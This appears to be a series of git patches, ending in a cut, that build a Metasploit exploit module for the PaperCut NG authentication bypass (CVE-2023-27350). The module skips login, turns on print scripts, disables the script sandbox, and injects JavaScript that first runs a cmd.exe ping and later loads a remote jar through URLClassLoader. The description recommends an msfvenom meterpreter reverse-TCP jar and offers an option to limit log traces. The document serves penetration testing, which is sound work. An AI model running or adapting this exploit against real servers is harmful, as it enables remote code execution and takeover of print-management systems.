From 253f4e54bc666508160e5935b595519f53a2ebb3 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 21 Apr 2023 03:53:03 +0000 Subject: [PATCH 01/40] rough pseudo-coding --- .../multi/http/papercut_ng_auth_bypass.rb | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 modules/exploits/multi/http/papercut_ng_auth_bypass.rb diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb new file mode 100644 index 000000000000..079f390bf61e --- /dev/null +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -0,0 +1,56 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PaperCut PaperCutNG Authentication Bypass', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'catatonicprime' ], + 'References' => [ + [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] + ], + 'Platform' => [ 'win', 'linux'], + 'Payload' => { + 'BadChars' => "\x00" + }, + 'Privileged' => true, + 'DisclosureDate' => '2023-03-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def bypass_auth + # Hit the SetupCompleted Page & establish an authenticated session. + # Return success/fail or vuln/not vuln based on response values + end + + def set_server_option + # set name:value pair(s) + # 1) do a quickfind (setting the tapestry state) + # 2) if no property found, add it? + # 3) else, if necessary, do an update + end + + def check + # For the check command + end + + def exploit + # Main function + end +end From 20109932fd955e876fdb128aec34f190ba8ca6ea Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sun, 23 Apr 2023 15:30:23 +0000 Subject: [PATCH 02/40] Command injection PoC working. --- .../multi/http/papercut_ng_auth_bypass.rb | 111 ++++++++++++++++++ 1 file changed, 111 insertions(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 079f390bf61e..a9eecd0cc84d 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -3,8 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'debug' +require 'cgi' + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( @@ -18,6 +22,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] ], + 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'win', 'linux'], 'Payload' => { 'BadChars' => "\x00" @@ -25,6 +30,11 @@ def initialize(info = {}) 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => '9192', + 'SSL' => 'True', + 'TARGETURI' => '/app' + }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -32,11 +42,29 @@ def initialize(info = {}) } ) ) + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the papercut application']) + ], self.class + ) end def bypass_auth # Hit the SetupCompleted Page & establish an authenticated session. # Return success/fail or vuln/not vuln based on response values + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/SetupCompleted' + } + } + ) + return Exploit::CheckCode::Safe unless res && res.code == 200 + + return Exploit::CheckCode::Appears end def set_server_option @@ -46,11 +74,94 @@ def set_server_option # 3) else, if necessary, do an update end + def get_printer + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/PrinterList' + } + } + ) + return Exploit::Failed unless res && res.code == 200 + + html = res.get_html_document + return Exploit::Failed unless html + + printer = html.at('.displayNameColumnValue a') + return Exploit::Failed unless printer && printer['href'] + + uri = URI(normalize_uri(printer['href'])) + return Exploit::Failed unless uri + + params = CGI.parse(uri.query) + return Exploit::Failed unless params && params['sp'] + + return params['sp'][0] + end + def check # For the check command + return bypass_auth end def exploit # Main function + # 1) Bypass the auth using the SetupCompleted page + bypass_auth + # 2) Enable scripts, if needed + # 3) Disable sandboxing, if needed + # 4) Find a printerId + printer_id = get_printer + print_status('Using printerid: ' + printer_id) + + # 5) Select the printer, this loads it into the tapestry session to be modified + protocol = 'http' + if datastore['SSL'] + protocol = 'https' + end + origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => origin + }, + 'vars_get' => { + 'service' => 'direct/1/PrinterList/selectPrinter', + 'sp' => printer_id + } + } + ) + return Exploit::Failed unless res && res.code == 200 + + # 6) Exploit a printer using the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => origin + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => printer_id, + 'scriptBody' => %q{ +var rt = new java.lang.Runtime.getRuntime(); +rt.exec('c:\\\\windows\\\\system32\\\\cmd.exe /c "ping 192.168.1.3"'); +s;} + } + } + ) + return Exploit::Failed unless res && res.code == 200 end end From 1a823b05f165618bedc2be305d698e1daad9d177 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 18:36:44 +0000 Subject: [PATCH 03/40] Serve jar file for exploit. --- .../multi/http/papercut_ng_auth_bypass.rb | 88 ++++++++++++------- 1 file changed, 55 insertions(+), 33 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a9eecd0cc84d..eec6460788d9 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( @@ -31,9 +32,12 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => '9192', - 'SSL' => 'True', - 'TARGETURI' => '/app' + 'RPORT' => '9191', + 'SSL' => 'false', + 'TARGETURI' => '/app', + 'PAYLOAD_CLASS' => 'metasploit.Payload', + 'JAR_FILE' => '', + 'HTTPDELAY' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -44,7 +48,10 @@ def initialize(info = {}) ) register_options( [ - OptString.new('TARGETURI', [true, 'Path to the papercut application']) + OptString.new('TARGETURI', [true, 'Path to the papercut application']), + OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), + OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) ], self.class ) end @@ -107,61 +114,76 @@ def check return bypass_auth end + def primer + payload_uri = get_uri + # 6) Trigger the code execution the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => @printer_id, + 'scriptBody' => %Q{ +var urls = [new java.net.URL("#{payload_uri}.jar")]; +var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); +s; +} + } + } + ) + return Exploit::Failed unless res && res.code == 200 + end + def exploit + @payload_uri = get_uri # Main function # 1) Bypass the auth using the SetupCompleted page bypass_auth # 2) Enable scripts, if needed # 3) Disable sandboxing, if needed # 4) Find a printerId - printer_id = get_printer - print_status('Using printerid: ' + printer_id) + @printer_id = get_printer + print_status('Using printerid: ' + @printer_id) # 5) Select the printer, this loads it into the tapestry session to be modified protocol = 'http' if datastore['SSL'] protocol = 'https' end - origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") + @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => origin + 'Origin' => @origin }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', - 'sp' => printer_id + 'sp' => @printer_id } } ) return Exploit::Failed unless res && res.code == 200 - # 6) Exploit a printer using the printer_id - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path), - 'keep_cookies' => true, - 'headers' => { - 'Origin' => origin - }, - 'vars_post' => { - 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', - 'sp' => 'S0', - 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', - 'enablePrintScript' => 'on', - '$Submit$1' => 'Apply', - 'printerId' => printer_id, - 'scriptBody' => %q{ -var rt = new java.lang.Runtime.getRuntime(); -rt.exec('c:\\\\windows\\\\system32\\\\cmd.exe /c "ping 192.168.1.3"'); -s;} - } - } - ) - return Exploit::Failed unless res && res.code == 200 + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end + + def on_request_uri(cli, request) + vprint_status("Sending payload for requested uri: #{request.uri}") + jar_file = File.read(datastore['JAR_FILE']) + send_response(cli, jar_file) end + end From 17271f1046162681e4e7095804e8c8bbcf3acdda Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:00:33 +0000 Subject: [PATCH 04/40] Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. --- .../multi/http/papercut_ng_auth_bypass.rb | 119 +++++++++++++++--- 1 file changed, 105 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index eec6460788d9..efa518f10db3 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -17,6 +17,20 @@ def initialize(info = {}) info, 'Name' => 'PaperCut PaperCutNG Authentication Bypass', 'Description' => %q{ + This module leverages an authentication bypass in PaperCut NG. If necessary it + updates Papercut configuration options, specifically the 'print-and-device.script.enabled' + and 'print.script.sandboxed' options to allow for arbitrary code execution running in + the builtin RhinoJS engine. + + For code injection we utilize the URLClassLoader to load a remote URL containing a + ".jar" file, this file must already exist and must contain a "main" method accepting + no command line arguments. We recommend generating this jar file using msfvenom with a + java/meterpreter/reverse_tcp payload, e.g. `msfvenom -p java/meterpreter/reverse_tcp --format jar --encoder generic/none + LHOST=[lhost] LPORT=[lport] -o shell.jar + + This module logs at most 2 events in the application log of papercut. Each event is tied + to modifcation of server settings. Use NEVER_SET to avoid log generation entirely when + targeting already vulnerable systes. }, 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], @@ -24,10 +38,8 @@ def initialize(info = {}) [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] ], 'Targets' => [ [ 'Automatic Target', {}] ], - 'Platform' => [ 'win', 'linux'], - 'Payload' => { - 'BadChars' => "\x00" - }, + 'Platform' => [ 'java' ], + 'Payload' => {}, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, @@ -51,7 +63,8 @@ def initialize(info = {}) OptString.new('TARGETURI', [true, 'Path to the papercut application']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), + OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class ) end @@ -74,11 +87,70 @@ def bypass_auth return Exploit::CheckCode::Appears end - def set_server_option + def set_server_option(name, value) # set name:value pair(s) # 1) do a quickfind (setting the tapestry state) - # 2) if no property found, add it? + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/quickFindForm', + 'sp' => 'S0', + 'Form0' => '$TextField,doQuickFind,clear', + '$TextField' => name, + 'doQuickFind' => 'Go' + } + } + ) + # TODO: 2) if no property found, add it? # 3) else, if necessary, do an update + if not res || res.code != 200 + print_error("Response error when attempting to find server option '#{name}'") + return Exploit::Failed + end + + html = res.get_html_document + td = html.xpath("//td[@class='propertyNameColumnValue']") + if not td || td.count != 1 || td.text != name + print_error("xpath error: could not find single containing server option '#{name}'") unless td && td.count == 1 && td.text == name + return Exploit::Failed + end + + value_input = html.xpath("//input[@name='$TextField$0']") + current_value = value_input[0]['value'] + if current_value == value + vprint_good("Server option '#{name}' already set to '#{value}')") + return + end + + if datastore['NEVER_SET'] + print_error("Server is not correctly configured for code execution and you have requested we never set server options 'NEVER_SET'") + return Exploit::Failed + end + + vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/$Form', + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0', + '$TextField$0' => value, + '$Submit' => 'Update' + } + } + ) end def get_printer @@ -145,21 +217,40 @@ def primer def exploit @payload_uri = get_uri + protocol = 'http' + if datastore['SSL'] + protocol = 'https' + end + @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms + # Main function # 1) Bypass the auth using the SetupCompleted page - bypass_auth + auth_bypassed = bypass_auth + if auth_bypassed == Exploit::CheckCode::Safe + print_error('Server appears to not be vulnerable.') + return Exploit::Failed + end # 2) Enable scripts, if needed + success = set_server_option('print-and-device.script.enabled', 'Y') + if success == Exploit::Failed + return Exploit::Failed + end + # 3) Disable sandboxing, if needed + success = set_server_option('print.script.sandboxed', 'N') + if success == Exploit::Failed + return Exploit::Failed + end + # 4) Find a printerId @printer_id = get_printer - print_status('Using printerid: ' + @printer_id) + if @printer_id == Exploit::Failed + return Exploit::Failed + end + + vprint_status('Using printerid: ' + @printer_id) # 5) Select the printer, this loads it into the tapestry session to be modified - protocol = 'http' - if datastore['SSL'] - protocol = 'https' - end - @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi( { 'method' => 'GET', From a229a0ed864801e903a60416e406e58093a2d94b Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:34:04 +0000 Subject: [PATCH 05/40] If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index efa518f10db3..518417127648 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -44,6 +44,7 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { + 'DisablePayloadHandler' => true, 'RPORT' => '9191', 'SSL' => 'false', 'TARGETURI' => '/app', @@ -84,7 +85,7 @@ def bypass_auth ) return Exploit::CheckCode::Safe unless res && res.code == 200 - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable end def set_server_option(name, value) From 8a9871f0d8679759e8461a3ae16062ca8efad851 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:57:05 +0000 Subject: [PATCH 06/40] Default to a java payload. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 518417127648..32d8e00f1dd4 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -45,6 +45,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true, + 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', 'TARGETURI' => '/app', From 22238a0860811dd54e808daad1c42f34b7a533d2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:52:26 +0000 Subject: [PATCH 07/40] Adding references. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 32d8e00f1dd4..7edd8f5c4df4 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -35,7 +35,10 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], 'References' => [ - [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] + [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], + [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], + [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], From 8c87660eaa329e7d2a8df7572e1d9c695970fe20 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:53:04 +0000 Subject: [PATCH 08/40] Explicit stance. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7edd8f5c4df4..3e5459b45afb 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -40,6 +40,7 @@ def initialize(info = {}) [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] ], + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], 'Payload' => {}, From bcafd22997dd1feec99f89b9a7d67feefa08523e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:54:19 +0000 Subject: [PATCH 09/40] Better defaults pattern for TARGETURI. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3e5459b45afb..07f8c2471e6e 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -52,7 +52,6 @@ def initialize(info = {}) 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'TARGETURI' => '/app', 'PAYLOAD_CLASS' => 'metasploit.Payload', 'JAR_FILE' => '', 'HTTPDELAY' => 10 @@ -66,7 +65,7 @@ def initialize(info = {}) ) register_options( [ - OptString.new('TARGETURI', [true, 'Path to the papercut application']), + OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), From 0cf5f4cacc8f0780230db9420ac8e94b7e768997 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 16:55:13 +0000 Subject: [PATCH 10/40] More accurate list of side effects. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 07f8c2471e6e..fa08251cb6cd 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -59,7 +59,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) From 8694beebd128cb5c83d90c3ca3b505a180bdd616 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 18:17:46 +0000 Subject: [PATCH 11/40] Removing unnecessary search. --- .../multi/http/papercut_ng_auth_bypass.rb | 45 +------------------ 1 file changed, 2 insertions(+), 43 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index fa08251cb6cd..d171610808c0 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -158,39 +158,6 @@ def set_server_option(name, value) ) end - def get_printer - res = send_request_cgi( - { - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), - 'keep_cookies' => true, - 'vars_get' => { - 'service' => 'page/PrinterList' - } - } - ) - return Exploit::Failed unless res && res.code == 200 - - html = res.get_html_document - return Exploit::Failed unless html - - printer = html.at('.displayNameColumnValue a') - return Exploit::Failed unless printer && printer['href'] - - uri = URI(normalize_uri(printer['href'])) - return Exploit::Failed unless uri - - params = CGI.parse(uri.query) - return Exploit::Failed unless params && params['sp'] - - return params['sp'][0] - end - - def check - # For the check command - return bypass_auth - end - def primer payload_uri = get_uri # 6) Trigger the code execution the printer_id @@ -208,7 +175,7 @@ def primer 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', - 'printerId' => @printer_id, + 'printerId' => 'l1001', 'scriptBody' => %Q{ var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); @@ -247,14 +214,6 @@ def exploit return Exploit::Failed end - # 4) Find a printerId - @printer_id = get_printer - if @printer_id == Exploit::Failed - return Exploit::Failed - end - - vprint_status('Using printerid: ' + @printer_id) - # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { @@ -266,7 +225,7 @@ def exploit }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', - 'sp' => @printer_id + 'sp' => 'l1001' } } ) From 9f6fe964e252b2317e00b471ab375f6b330bcba2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 18:28:02 +0000 Subject: [PATCH 12/40] bypass_auth returns the anti-csrf token and vprints active session on success --- .../multi/http/papercut_ng_auth_bypass.rb | 28 ++++++++++++------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index d171610808c0..07cf6a40e5c2 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -75,8 +75,7 @@ def initialize(info = {}) end def bypass_auth - # Hit the SetupCompleted Page & establish an authenticated session. - # Return success/fail or vuln/not vuln based on response values + # Attempt to generate a session & recover the anti-csrf token for future requests. res = send_request_cgi( { 'method' => 'GET', @@ -87,9 +86,9 @@ def bypass_auth } } ) - return Exploit::CheckCode::Safe unless res && res.code == 200 - - return Exploit::CheckCode::Vulnerable + return nil unless res && res.code == 200 + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + res.get_html_document.xpath('//script')[-1].text.split("'")[1] end def set_server_option(name, value) @@ -187,6 +186,15 @@ def primer return Exploit::Failed unless res && res.code == 200 end + def check + # For the check command + bypass_success = bypass_auth + if bypass_success.nil? + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Vulnerable + end + def exploit @payload_uri = get_uri protocol = 'http' @@ -196,12 +204,12 @@ def exploit @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms # Main function - # 1) Bypass the auth using the SetupCompleted page - auth_bypassed = bypass_auth - if auth_bypassed == Exploit::CheckCode::Safe - print_error('Server appears to not be vulnerable.') - return Exploit::Failed + # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. + @csrf_token = bypass_auth + if @csrf_token.nil? + fail_with Failure::NotVulnerable, 'Target is not vulnerable' end + # 2) Enable scripts, if needed success = set_server_option('print-and-device.script.enabled', 'Y') if success == Exploit::Failed From 5e93669d75e3dc2ba5b18b89e515c8836d66941e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 19:28:56 +0000 Subject: [PATCH 13/40] Enable AutoCheck --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 07cf6a40e5c2..584e67dff546 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer From 0be38eb3ab0d8e977095c416777e8e79c8ae6e55 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 26 Apr 2023 19:32:57 +0000 Subject: [PATCH 14/40] method should do one thing and do it well --- .../multi/http/papercut_ng_auth_bypass.rb | 30 ++++++++----------- 1 file changed, 13 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 584e67dff546..6b3e8a7d73c9 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -92,8 +92,7 @@ def bypass_auth res.get_html_document.xpath('//script')[-1].text.split("'")[1] end - def set_server_option(name, value) - # set name:value pair(s) + def get_config_option(name) # 1) do a quickfind (setting the tapestry state) res = send_request_cgi( { @@ -113,21 +112,18 @@ def set_server_option(name, value) } ) # TODO: 2) if no property found, add it? - # 3) else, if necessary, do an update - if not res || res.code != 200 - print_error("Response error when attempting to find server option '#{name}'") - return Exploit::Failed - end - - html = res.get_html_document - td = html.xpath("//td[@class='propertyNameColumnValue']") - if not td || td.count != 1 || td.text != name - print_error("xpath error: could not find single containing server option '#{name}'") unless td && td.count == 1 && td.text == name - return Exploit::Failed - end + # 3) parse the result + return nil unless res && res.code == 200 && html = res.get_html_document + return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") + return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") - current_value = value_input[0]['value'] + value_input[0]['value'] + end + + def set_config_option(name, value) + # set name:value pair(s) + current_value = get_config_option(name) if current_value == value vprint_good("Server option '#{name}' already set to '#{value}')") return @@ -212,13 +208,13 @@ def exploit end # 2) Enable scripts, if needed - success = set_server_option('print-and-device.script.enabled', 'Y') + success = set_config_option('print-and-device.script.enabled', 'Y') if success == Exploit::Failed return Exploit::Failed end # 3) Disable sandboxing, if needed - success = set_server_option('print.script.sandboxed', 'N') + success = set_config_option('print.script.sandboxed', 'N') if success == Exploit::Failed return Exploit::Failed end From feec15a48233a9029249772a918d28b3357427aa Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 15:07:15 +0000 Subject: [PATCH 15/40] full_uri has what we need for the origin header --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 